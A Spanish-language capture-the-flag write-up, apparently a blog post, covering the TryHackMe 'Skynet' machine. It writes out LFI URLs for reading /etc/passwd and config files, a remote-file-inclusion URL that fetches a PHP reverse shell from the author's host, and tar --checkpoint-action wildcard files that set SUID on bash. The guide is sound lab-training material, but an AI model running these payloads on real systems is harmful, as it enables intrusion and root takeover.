Skynet
Pre-Configuración TryHackMe
Reconocimiento
Ping, IP y SO:
Enumeración
Servicios y versiones
Tenemos 6 puertos, vamos a comenzar por el 80...
Puerto 22
Puerto 139/445
Enumeramos un poco ...
Null session
Tenemos 2 carpetas interesantes:
anonymous
los unicos archivos intereantes...
milesdyson (este pudiera ser un usuario...)
De momento no nos dejo ...
Puerto 80
Fuzzing
Despues de probar estos directorios... tenemos
Hydrazo
Credenciales:
Vamos a entrar al email de milesdyson...
Interesante...vamos a ver si podemos obtener info de samba...
Si le gustó...
Vamos a indagar un poco aquí...
Bien después de un rato encontré el archivo important.txt
Y si vamos a la web...
Vale, hasta este momento no se ve nada, aparentemente... voy a descargar la imagen y analizar la...
bien, le meti un stegseek con algunos diccionarios pero nada funciono...
Vamos a ver ... tal ves fuzzing desde este directorio ...
Se que aquí tenemos un index.html pero ¿Que más habrá?
¿Pero que tenemos aquí?
Vunerabilidades?
Bueno, pues si!
Echándole un vistazo al archivo 25971.txt...
Hacemos una prueba de concepto con /etc/passwd...
Verificando usuarios...
Parece ser que solo tenemos uno... vamos a ver si podemos obtener la primera flag...
OJO utilice este payload...
http://10.201.34.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=/home/milesdyson/user.txt
Si le gustó... ahora solo nos falta ganar acceso a la maquina...
...
Obviamente me falta terminar de leer el archivo 25971.txt
Puerto 110
Puerto 143
Explotación
Según el archivo 25971.txt hay una forma de ver la configuración de la aplicación...
Así como verificamos que tiene la vulnerabilidad el LFI... muy probablemente esta exfiltración de datos de configuración también este presente.. vamos a revisar ...
OJO utilice este payload...
http://10.201.34.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
Veamos...
Decodificamos...
Vale obtuvimos una contraseña pero de base de datos... por lo pronto no podemos acceder desde aquí, pero es buen tenerla en cuenta
Actualizamos nuestro archivo credentials.txt
Casi se me pasa un dato interesante (que de hecho venia como pista en las preguntas de la maquina CTF)
Y esto que significa?
Hagamos una prueba, iniciemos un servidor web en nuestra maquina de kali...
NOTA: intente utilizar una webshell.php sencilla pero no funciono. ..
Ahora utilicemos el siguiente payload...
http://10.201.34.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.22.89/revshell.php
OJO para la revshell utilice el "PHP PentestMonkey" de revshells.com...
Ejecutamos y ....
Por fin!
Vamos a darle tratamiento a la tty......
Y vamos a ver como escalar privilegios...
Post Explotación
Me acorde que tenemos un usuario de base de datos ... vamos a ver que encontramos ...
Tenemos una contraseña muy probablemente hasheada en md5...
...
Una cosa que intente y funciono fue utilizar las credenciales de milesdyson en su:
Desde aquí veremos que podemos hacer ...
...
Despues de jugar un poco e investigando en este foro, como en el directorio actual de milesdyson me encontré que habia una carpeta backup y dentro (con usuario root) un archivo backup.sh y un backup.tar
El backup.sh contiene lo sigguiente...
Mi intuision (por haber descargado sudoers, SUID, archivos readable y writeable del sistema) me dio por leer un articulo que justamente utilizaba a tar cf * para elevar privilegios.
El articulo te lo dejo aquí
Así que me di a la tarea de replicar el poc...Sin tanto rodeo lo que pretendo es en la carpeta de /var/ww/html/ crear 2 archivos
- "--checkpoint=1"
- "--checkpoint-action=exec=sh privesc.sh"
Y hay que crear el archivo privesc.sh en esta misma ruta con el siguiente contenido:
echo "chmod +s /bin/bash" > privesc.sh
Ahora como era de tal ves suponerse, ese es un job que se ejecuta cada cierto tiempo (esto también me lo decia mi intuisión y se puede comprobar tanto con linpeas.sh como con pspy)
...
Ejecutamos...
Vamos por nuestra bash de propietario...
Bonus
Comprobando el cronjob con pspy
Mandamos nuestro archivo pspy64 a nuestra maquina victima...
Maquina victima...Y ejecutamos...
Esperamos un poco ...
Wow parece navidad!
Se ejecuta en el PID 18509 el tar con todos sus parámetros, entre ellos la ejecución de nuestro archivo privesc.sh... y varias veces...
Es por eso que hemos obtenido nuestra bash con el bit SUID...
Espero esta maquina te halla gustado.
Hasta la proxima.
Comentarios
Publicar un comentario